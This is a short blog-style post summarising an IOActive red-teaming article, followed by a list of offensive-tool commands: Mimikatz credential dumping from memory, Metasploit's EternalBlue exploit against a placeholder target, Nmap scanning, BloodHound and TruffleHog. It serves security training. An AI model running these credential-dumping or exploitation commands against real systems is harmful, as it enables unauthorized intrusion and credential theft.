Pen Test Like A Red Teamer - Beyond The Checklist

Check out the latest blog from IOActive security consultant Jonathan Armas, titled “Pen Test Like a Red Teamer – Beyond the Checklist”. The article dives into how Red Teams simulate realistic adversaries using advanced tactics, techniques, and procedures (TTPs) to achieve specific goals like data exfiltration, domain takeover, or accessing critical systems. It emphasizes moving beyond mechanical checklists to explore the full path an attacker might take.

Read the full article here: Pen Test Like a Red Teamer – Beyond the Checklist

You Should Know:

To practice Red Team techniques, here are some verified commands, tools, and steps you can use:

1. MITRE ATT&CK Framework

Use the MITRE ATT&CK framework to map adversary tactics and techniques.

Command to install ATT&CK Navigator:

git clone https://github.com/mitre-attack/attack-navigator.git
cd attack-navigator
npm install
npm start

2. TruffleHog for Secrets Scanning

Run TruffleHog to scan for secrets in your codebase:
```
trufflehog --regex --entropy=False /opt/api
```

3. Mimikatz for Credential Dumping

Use Mimikatz to extract credentials from memory (Windows):
```
mimikatz.exe
privilege::debug
sekurlsa::logonpasswords
```

4. Metasploit for Exploitation

Launch Metasploit and use it for exploitation:

msfconsole
use exploit/windows/smb/ms17_010_eternalblue
set RHOSTS <target_ip>
exploit

5. BloodHound for Active Directory Analysis

Use BloodHound to map attack paths in Active Directory:
```
neo4j start
bloodhound
```

6. Nmap for Network Scanning

Perform a comprehensive network scan with Nmap:
```
nmap -sV -sC -O -p- <target_ip>
```

7. PowerShell for Post-Exploitation

Use PowerShell to enumerate system information:
```
Get-Process
Get-Service
Get-NetTCPConnection
```

What Undercode Say:

Red Teaming is not just about finding vulnerabilities; it’s about understanding the attacker’s mindset and simulating real-world scenarios. By leveraging tools like MITRE ATT&CK, TruffleHog, Mimikatz, and BloodHound, you can uncover hidden attack paths and strengthen your defenses. Always remember to practice ethical hacking within legal boundaries and with proper authorization.

For further reading, explore the MITRE ATT&CK Framework and the Red Team Field Manual.